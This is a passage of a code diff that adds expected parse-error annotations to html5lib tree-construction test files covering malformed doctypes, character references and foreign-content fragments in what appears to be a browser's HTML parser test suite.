| <!DOCTYPE html>
| <html>
@@ -31,6 +32,9 @@
#data
<!DOCTYPE>Hello
#errors
+(1,9): need-space-after-doctype
+(1,10): expected-doctype-name-but-got-right-bracket
+(1,10): unknown-doctype
#document
| <!DOCTYPE >
| <html>
@@ -41,6 +45,8 @@
#data
<!DOCTYPE >Hello
#errors
+(1,11): expected-doctype-name-but-got-right-bracket
+(1,11): unknown-doctype
#document
| <!DOCTYPE >
| <html>
@@ -51,6 +57,7 @@
#data
<!DOCTYPE potato>Hello
#errors
+(1,17): unknown-doctype
#document
| <!DOCTYPE potato>
| <html>
@@ -61,6 +68,7 @@
#data
<!DOCTYPE potato >Hello
#errors
+(1,18): unknown-doctype
#document
| <!DOCTYPE potato>
| <html>
@@ -71,6 +79,8 @@
#data
<!DOCTYPE potato taco>Hello
#errors
+(1,17): expected-space-or-right-bracket-in-doctype
+(1,22): unknown-doctype
#document
| <!DOCTYPE potato>
| <html>
@@ -81,6 +91,8 @@
#data
<!DOCTYPE potato taco "ddd>Hello
#errors
+(1,17): expected-space-or-right-bracket-in-doctype
+(1,27): unknown-doctype
#document
| <!DOCTYPE potato>
| <html>
@@ -91,6 +103,8 @@
#data
<!DOCTYPE potato sYstEM>Hello
#errors
+(1,24): unexpected-char-in-doctype
+(1,24): unknown-doctype
#document
| <!DOCTYPE potato>
| <html>
@@ -101,6 +115,8 @@
#data
<!DOCTYPE potato sYstEM >Hello
#errors
+(1,28): unexpected-char-in-doctype
+(1,28): unknown-doctype
#document
| <!DOCTYPE potato>
| <html>
@@ -111,6 +127,8 @@
#data
<!DOCTYPE potato sYstEM ggg>Hello
#errors
+(1,34): unexpected-char-in-doctype
+(1,37): unknown-doctype
#document
| <!DOCTYPE potato>
| <html>
@@ -121,6 +139,8 @@
#data
<!DOCTYPE potato SYSTEM taco >Hello
#errors
+(1,25): unexpected-char-in-doctype
+(1,31): unknown-doctype
#document
| <!DOCTYPE potato>
| <html>
@@ -131,6 +151,7 @@
#data
<!DOCTYPE potato SYSTEM 'taco"'>Hello
#errors
+(1,32): unknown-doctype
#document
| <!DOCTYPE potato "" "taco"">
| <html>
@@ -141,6 +162,7 @@
#data
<!DOCTYPE potato SYSTEM "taco">Hello
#errors
+(1,31): unknown-doctype
#document
| <!DOCTYPE potato "" "taco">
| <html>
@@ -151,6 +173,7 @@
#data
<!DOCTYPE potato SYSTEM "tai'co">Hello
#errors
+(1,33): unknown-doctype
#document
| <!DOCTYPE potato "" "tai'co">
| <html>
@@ -161,6 +184,8 @@
#data
<!DOCTYPE potato SYSTEMtaco "ddd">Hello
#errors
+(1,24): unexpected-char-in-doctype
+(1,34): unknown-doctype
#document
| <!DOCTYPE potato>
| <html>
@@ -171,6 +196,8 @@
#data
<!DOCTYPE potato grass SYSTEM taco>Hello
#errors
+(1,17): expected-space-or-right-bracket-in-doctype
+(1,35): unknown-doctype
#document
| <!DOCTYPE potato>
| <html>
@@ -181,6 +208,8 @@
#data
<!DOCTYPE potato pUbLIc>Hello
#errors
+(1,24): unexpected-end-of-doctype
+(1,24): unknown-doctype
#document
| <!DOCTYPE potato>
| <html>
@@ -191,6 +220,8 @@
#data
<!DOCTYPE potato pUbLIc >Hello
#errors
+(1,25): unexpected-end-of-doctype
+(1,25): unknown-doctype
#document
| <!DOCTYPE potato>
| <html>
@@ -201,6 +232,8 @@
#data
<!DOCTYPE potato pUbLIcgoof>Hello
#errors
+(1,24): unexpected-char-in-doctype
+(1,28): unknown-doctype
#document
| <!DOCTYPE potato>
| <html>
@@ -211,6 +244,8 @@
#data
<!DOCTYPE potato PUBLIC goof>Hello
#errors
+(1,25): unexpected-char-in-doctype
+(1,29): unknown-doctype
#document
| <!DOCTYPE potato>
| <html>
@@ -221,6 +256,7 @@
#data
<!DOCTYPE potato PUBLIC "go'of">Hello
#errors
+(1,32): unknown-doctype
#document
| <!DOCTYPE potato "go'of" "">
| <html>
@@ -231,6 +267,8 @@
#data
<!DOCTYPE potato PUBLIC 'go'of'>Hello
#errors
+(1,29): unexpected-char-in-doctype
+(1,32): unknown-doctype
#document
| <!DOCTYPE potato "go" "">
| <html>
@@ -241,6 +279,7 @@
#data
<!DOCTYPE potato PUBLIC 'go:hh of' >Hello
#errors
+(1,38): unknown-doctype
#document
| <!DOCTYPE potato "go:hh of" "">
| <html>
@@ -251,6 +290,8 @@
#data
<!DOCTYPE potato PUBLIC "W3C-//dfdf" SYSTEM ggg>Hello
#errors
+(1,38): unexpected-char-in-doctype
+(1,48): unknown-doctype
#document
| <!DOCTYPE potato "W3C-//dfdf" "">
| <html>
@@ -272,6 +313,7 @@
#data
<!DOCTYPE ...>Hello
#errors
+(1,14): unknown-doctype
#document
| <!DOCTYPE ...>
| <html>
@@ -283,6 +325,7 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
#errors
+(2,58): unknown-doctype
#document
| <!DOCTYPE html "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
| <html>
@@ -293,6 +336,7 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
#errors
+(2,54): unknown-doctype
#document
| <!DOCTYPE html "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
| <html>
@@ -304,6 +348,8 @@
<!-- internal declarations -->
]>
#errors
+(1,23): expected-space-or-right-bracket-in-doctype
+(2,30): unknown-doctype
#document
| <!DOCTYPE root-element>
| <html>
@@ -316,6 +362,7 @@
"-//WAPFORUM//DTD XHTML Mobile 1.0//EN"
"http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
#errors
+(3,53): unknown-doctype
#document
| <!DOCTYPE html "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
| <html>
@@ -325,6 +372,7 @@
#data
<!DOCTYPE HTML SYSTEM "http://www.w3.org/DTD/HTML4-strict.dtd"><body><b>Mine!</b></body>
#errors
+(1,63): unknown-doctype
#document
| <!DOCTYPE html "" "http://www.w3.org/DTD/HTML4-strict.dtd">
| <html>
@@ -336,6 +384,7 @@
#data
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
#errors
+(1,50): unexpected-char-in-doctype
#document
| <!DOCTYPE html "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
| <html>
@@ -345,6 +394,7 @@
#data
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"'http://www.w3.org/TR/html4/strict.dtd'>
#errors
+(1,50): unexpected-char-in-doctype
#document
| <!DOCTYPE html "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
| <html>
@@ -354,6 +404,8 @@
#data
<!DOCTYPE HTML PUBLIC"-//W3C//DTD HTML 4.01//EN"'http://www.w3.org/TR/html4/strict.dtd'>
#errors
+(1,21): unexpected-char-in-doctype
+(1,49): unexpected-char-in-doctype
#document
| <!DOCTYPE html "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
| <html>
@@ -363,6 +415,8 @@
#data
<!DOCTYPE HTML PUBLIC'-//W3C//DTD HTML 4.01//EN''http://www.w3.org/TR/html4/strict.dtd'>
#errors
+(1,21): unexpected-char-in-doctype
+(1,49): unexpected-char-in-doctype
#document
| <!DOCTYPE html "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
| <html>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/domjs-unsafe.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/domjs-unsafe.dat
new file mode 100644
index 000000000..34b4e6271
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/domjs-unsafe.dat
Binary files differ
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/entities01.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/entities01.dat
index c8073b781..20d53a0fd 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/entities01.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/entities01.dat
@@ -1,6 +1,7 @@
#data
FOO&gt;BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -10,6 +11,8 @@ FOO&gt;BAR
#data
FOO&gtBAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,6): named-entity-without-semicolon
#document
| <html>
| <head>
@@ -19,6 +22,8 @@ FOO&gtBAR
#data
FOO&gt BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,6): named-entity-without-semicolon
#document
| <html>
| <head>
@@ -28,6 +33,7 @@ FOO&gt BAR
#data
FOO&gt;;;BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -37,6 +43,8 @@ FOO&gt;;;BAR
#data
I'm &notit; I tell you
#errors
+(1,4): expected-doctype-but-got-chars
+(1,9): named-entity-without-semicolon
#document
| <html>
| <head>
@@ -46,6 +54,7 @@ I'm &notit; I tell you
#data
I'm &notin; I tell you
#errors
+(1,4): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -55,6 +64,7 @@ I'm &notin; I tell you
#data
FOO& BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -64,6 +74,8 @@ FOO& BAR
#data
FOO&<BAR>
#errors
+(1,3): expected-doctype-but-got-chars
+(1,9): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -74,6 +86,7 @@ FOO&<BAR>
#data
FOO&&&&gt;BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -83,6 +96,7 @@ FOO&&&&gt;BAR
#data
FOO&#41;BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -92,6 +106,7 @@ FOO&#41;BAR
#data
FOO&#x41;BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -101,6 +116,7 @@ FOO&#x41;BAR
#data
FOO&#X41;BAR
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -110,6 +126,8 @@ FOO&#X41;BAR
#data
FOO&#BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,5): expected-numeric-entity
#document
| <html>
| <head>
@@ -119,6 +137,8 @@ FOO&#BAR
#data
FOO&#ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,5): expected-numeric-entity
#document
| <html>
| <head>
@@ -128,6 +148,8 @@ FOO&#ZOO
#data
FOO&#xBAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,7): expected-numeric-entity
#document
| <html>
| <head>
@@ -137,6 +159,8 @@ FOO&#xBAR
#data
FOO&#xZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,6): expected-numeric-entity
#document
| <html>
| <head>
@@ -146,6 +170,8 @@ FOO&#xZOO
#data
FOO&#XZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,6): expected-numeric-entity
#document
| <html>
| <head>
@@ -155,6 +181,8 @@ FOO&#XZOO
#data
FOO&#41BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,7): numeric-entity-without-semicolon
#document
| <html>
| <head>
@@ -164,6 +192,8 @@ FOO&#41BAR
#data
FOO&#x41BAR
#errors
+(1,3): expected-doctype-but-got-chars
+(1,10): numeric-entity-without-semicolon
#document
| <html>
| <head>
@@ -173,6 +203,8 @@ FOO&#x41BAR
#data
FOO&#x41ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,8): numeric-entity-without-semicolon
#document
| <html>
| <head>
@@ -182,6 +214,8 @@ FOO&#x41ZOO
#data
FOO&#x0000;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -191,6 +225,7 @@ FOO&#x0000;ZOO
#data
FOO&#x0078;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -200,6 +235,7 @@ FOO&#x0078;ZOO
#data
FOO&#x0079;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -209,6 +245,8 @@ FOO&#x0079;ZOO
#data
FOO&#x0080;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -218,6 +256,8 @@ FOO&#x0080;ZOO
#data
FOO&#x0081;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -227,6 +267,8 @@ FOO&#x0081;ZOO
#data
FOO&#x0082;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -236,6 +278,8 @@ FOO&#x0082;ZOO
#data
FOO&#x0083;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -245,6 +289,8 @@ FOO&#x0083;ZOO
#data
FOO&#x0084;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -254,6 +300,8 @@ FOO&#x0084;ZOO
#data
FOO&#x0085;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -263,6 +311,8 @@ FOO&#x0085;ZOO
#data
FOO&#x0086;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -272,6 +322,8 @@ FOO&#x0086;ZOO
#data
FOO&#x0087;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -281,6 +333,8 @@ FOO&#x0087;ZOO
#data
FOO&#x0088;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -290,6 +344,8 @@ FOO&#x0088;ZOO
#data
FOO&#x0089;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -299,6 +355,8 @@ FOO&#x0089;ZOO
#data
FOO&#x008A;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -308,6 +366,8 @@ FOO&#x008A;ZOO
#data
FOO&#x008B;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -317,6 +377,8 @@ FOO&#x008B;ZOO
#data
FOO&#x008C;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -326,6 +388,8 @@ FOO&#x008C;ZOO
#data
FOO&#x008D;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -335,6 +399,8 @@ FOO&#x008D;ZOO
#data
FOO&#x008E;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -344,6 +410,8 @@ FOO&#x008E;ZOO
#data
FOO&#x008F;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -353,6 +421,8 @@ FOO&#x008F;ZOO
#data
FOO&#x0090;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -362,6 +432,8 @@ FOO&#x0090;ZOO
#data
FOO&#x0091;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -371,6 +443,8 @@ FOO&#x0091;ZOO
#data
FOO&#x0092;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -380,6 +454,8 @@ FOO&#x0092;ZOO
#data
FOO&#x0093;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -389,6 +465,8 @@ FOO&#x0093;ZOO
#data
FOO&#x0094;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -398,6 +476,8 @@ FOO&#x0094;ZOO
#data
FOO&#x0095;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -407,6 +487,8 @@ FOO&#x0095;ZOO
#data
FOO&#x0096;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -416,6 +498,8 @@ FOO&#x0096;ZOO
#data
FOO&#x0097;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -425,6 +509,8 @@ FOO&#x0097;ZOO
#data
FOO&#x0098;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -434,6 +520,8 @@ FOO&#x0098;ZOO
#data
FOO&#x0099;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -443,6 +531,8 @@ FOO&#x0099;ZOO
#data
FOO&#x009A;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -452,6 +542,8 @@ FOO&#x009A;ZOO
#data
FOO&#x009B;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -461,6 +553,8 @@ FOO&#x009B;ZOO
#data
FOO&#x009C;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -470,6 +564,8 @@ FOO&#x009C;ZOO
#data
FOO&#x009D;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -479,6 +575,8 @@ FOO&#x009D;ZOO
#data
FOO&#x009E;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -488,6 +586,8 @@ FOO&#x009E;ZOO
#data
FOO&#x009F;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -497,6 +597,7 @@ FOO&#x009F;ZOO
#data
FOO&#x00A0;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -506,6 +607,7 @@ FOO&#x00A0;ZOO
#data
FOO&#xD7FF;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -515,6 +617,8 @@ FOO&#xD7FF;ZOO
#data
FOO&#xD800;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -524,6 +628,8 @@ FOO&#xD800;ZOO
#data
FOO&#xD801;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -533,6 +639,8 @@ FOO&#xD801;ZOO
#data
FOO&#xDFFE;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -542,6 +650,8 @@ FOO&#xDFFE;ZOO
#data
FOO&#xDFFF;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,11): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -551,6 +661,7 @@ FOO&#xDFFF;ZOO
#data
FOO&#xE000;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -560,6 +671,8 @@ FOO&#xE000;ZOO
#data
FOO&#x10FFFE;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,13): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -569,6 +682,7 @@ FOO&#x10FFFE;ZOO
#data
FOO&#x1087D4;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -578,6 +692,8 @@ FOO&#x1087D4;ZOO
#data
FOO&#x10FFFF;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,13): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -587,6 +703,8 @@ FOO&#x10FFFF;ZOO
#data
FOO&#x110000;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,13): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
@@ -596,6 +714,8 @@ FOO&#x110000;ZOO
#data
FOO&#xFFFFFF;ZOO
#errors
+(1,3): expected-doctype-but-got-chars
+(1,13): illegal-codepoint-for-numeric-entity
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/entities02.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/entities02.dat
index e2fb42a07..f117f068a 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/entities02.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/entities02.dat
@@ -1,6 +1,7 @@
#data
<div bar="ZZ&gt;YY"></div>
#errors
+(1,20): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -11,6 +12,7 @@
#data
<div bar="ZZ&"></div>
#errors
+(1,15): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -21,6 +23,7 @@
#data
<div bar='ZZ&'></div>
#errors
+(1,15): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -31,6 +34,7 @@
#data
<div bar=ZZ&></div>
#errors
+(1,13): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -41,6 +45,8 @@
#data
<div bar="ZZ&gt=YY"></div>
#errors
+(1,15): named-entity-without-semicolon
+(1,20): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -51,6 +57,7 @@
#data
<div bar="ZZ&gt0YY"></div>
#errors
+(1,20): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -61,6 +68,7 @@
#data
<div bar="ZZ&gt9YY"></div>
#errors
+(1,20): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -71,6 +79,7 @@
#data
<div bar="ZZ&gtaYY"></div>
#errors
+(1,20): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -81,6 +90,7 @@
#data
<div bar="ZZ&gtZYY"></div>
#errors
+(1,20): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -91,6 +101,8 @@
#data
<div bar="ZZ&gt YY"></div>
#errors
+(1,15): named-entity-without-semicolon
+(1,20): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -101,6 +113,8 @@
#data
<div bar="ZZ&gt"></div>
#errors
+(1,15): named-entity-without-semicolon
+(1,17): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -111,6 +125,8 @@
#data
<div bar='ZZ&gt'></div>
#errors
+(1,15): named-entity-without-semicolon
+(1,17): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -121,6 +137,8 @@
#data
<div bar=ZZ&gt></div>
#errors
+(1,14): named-entity-without-semicolon
+(1,15): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -131,6 +149,8 @@
#data
<div bar="ZZ&pound_id=23"></div>
#errors
+(1,18): named-entity-without-semicolon
+(1,26): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -141,6 +161,7 @@
#data
<div bar="ZZ&prod_id=23"></div>
#errors
+(1,25): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -151,6 +172,7 @@
#data
<div bar="ZZ&pound;_id=23"></div>
#errors
+(1,27): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -161,6 +183,7 @@
#data
<div bar="ZZ&prod;_id=23"></div>
#errors
+(1,26): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -171,6 +194,8 @@
#data
<div bar="ZZ&pound=23"></div>
#errors
+(1,18): named-entity-without-semicolon
+(1,23): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -181,6 +206,7 @@
#data
<div bar="ZZ&prod=23"></div>
#errors
+(1,22): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -191,6 +217,8 @@
#data
<div>ZZ&pound_id=23</div>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,13): named-entity-without-semicolon
#document
| <html>
| <head>
@@ -201,6 +229,7 @@
#data
<div>ZZ&prod_id=23</div>
#errors
+(1,5): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -211,6 +240,7 @@
#data
<div>ZZ&pound;_id=23</div>
#errors
+(1,5): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -221,6 +251,7 @@
#data
<div>ZZ&prod;_id=23</div>
#errors
+(1,5): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -231,6 +262,8 @@
#data
<div>ZZ&pound=23</div>
#errors
+(1,5): expected-doctype-but-got-start-tag
+(1,13): named-entity-without-semicolon
#document
| <html>
| <head>
@@ -241,6 +274,7 @@
#data
<div>ZZ&prod=23</div>
#errors
+(1,5): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/foreign-fragment.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/foreign-fragment.dat
new file mode 100644
index 000000000..2e3cb6c6f
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/foreign-fragment.dat
@@ -0,0 +1,550 @@
+#data
+<nobr>X
+#errors
+6: HTML start tag “nobr” in a foreign namespace context.
+7: End of file seen and there were open elements.
+6: Unclosed element “nobr”.
+#document-fragment
+svg path
+#document
+| <svg nobr>
+| "X"
+
+#data
+<font color></font>X
+#errors
+12: HTML start tag “font” in a foreign namespace context.
+#document-fragment
+svg path
+#document
+| <svg font>
+| color=""
+| "X"
+
+#data
+<font></font>X
+#errors
+#document-fragment
+svg path
+#document
+| <svg font>
+| "X"
+
+#data
+<g></path>X
+#errors
+10: End tag “path” did not match the name of the current open element (“g”).
+11: End of file seen and there were open elements.
+3: Unclosed element “g”.
+#document-fragment
+svg path
+#document
+| <svg g>
+| "X"
+
+#data
+</path>X
+#errors
+5: Stray end tag “path”.
+#document-fragment
+svg path
+#document
+| "X"
+
+#data
+</foreignObject>X
+#errors
+5: Stray end tag “foreignobject”.
+#document-fragment
+svg foreignObject
+#document
+| "X"
+
+#data
+</desc>X
+#errors
+5: Stray end tag “desc”.
+#document-fragment
+svg desc
+#document
+| "X"
+
+#data
+</title>X
+#errors
+5: Stray end tag “title”.
+#document-fragment
+svg title
+#document
+| "X"
+
+#data
+</svg>X
+#errors
+5: Stray end tag “svg”.
+#document-fragment
+svg svg
+#document
+| "X"
+
+#data
+</mfenced>X
+#errors
+5: Stray end tag “mfenced”.
+#document-fragment
+math mfenced
+#document
+| "X"
+
+#data
+</malignmark>X
+#errors
+5: Stray end tag “malignmark”.
+#document-fragment
+math malignmark
+#document
+| "X"
+
+#data
+</math>X
+#errors
+5: Stray end tag “math”.
+#document-fragment
+math math
+#document
+| "X"
+
+#data
+</annotation-xml>X
+#errors
+5: Stray end tag “annotation-xml”.
+#document-fragment
+math annotation-xml
+#document
+| "X"
+
+#data
+</mtext>X
+#errors
+5: Stray end tag “mtext”.
+#document-fragment
+math mtext
+#document
+| "X"
+
+#data
+</mi>X
+#errors
+5: Stray end tag “mi”.
+#document-fragment
+math mi
+#document
+| "X"
+
+#data
+</mo>X
+#errors
+5: Stray end tag “mo”.
+#document-fragment
+math mo
+#document
+| "X"
+
+#data
+</mn>X
+#errors
+5: Stray end tag “mn”.
+#document-fragment
+math mn
+#document
+| "X"
+
+#data
+</ms>X
+#errors
+5: Stray end tag “ms”.
+#document-fragment
+math ms
+#document
+| "X"
+
+#data
+<b></b><mglyph/><i></i><malignmark/><u></u><ms/>X
+#errors
+51: Self-closing syntax (“/>”) used on a non-void HTML element. Ignoring the slash and treating as a start tag.
+52: End of file seen and there were open elements.
+51: Unclosed element “ms”.
+#document-fragment
+math ms
+#document
+| <b>
+| <math mglyph>
+| <i>
+| <math malignmark>
+| <u>
+| <ms>
+| "X"
+
+#data
+<malignmark></malignmark>
+#errors
+#document-fragment
+math ms
+#document
+| <math malignmark>
+
+#data
+<div></div>
+#errors
+#document-fragment
+math ms
+#document
+| <div>
+
+#data
+<figure></figure>
+#errors
+#document-fragment
+math ms
+#document
+| <figure>
+
+#data
+<b></b><mglyph/><i></i><malignmark/><u></u><mn/>X
+#errors
+51: Self-closing syntax (“/>”) used on a non-void HTML element. Ignoring the slash and treating as a start tag.
+52: End of file seen and there were open elements.
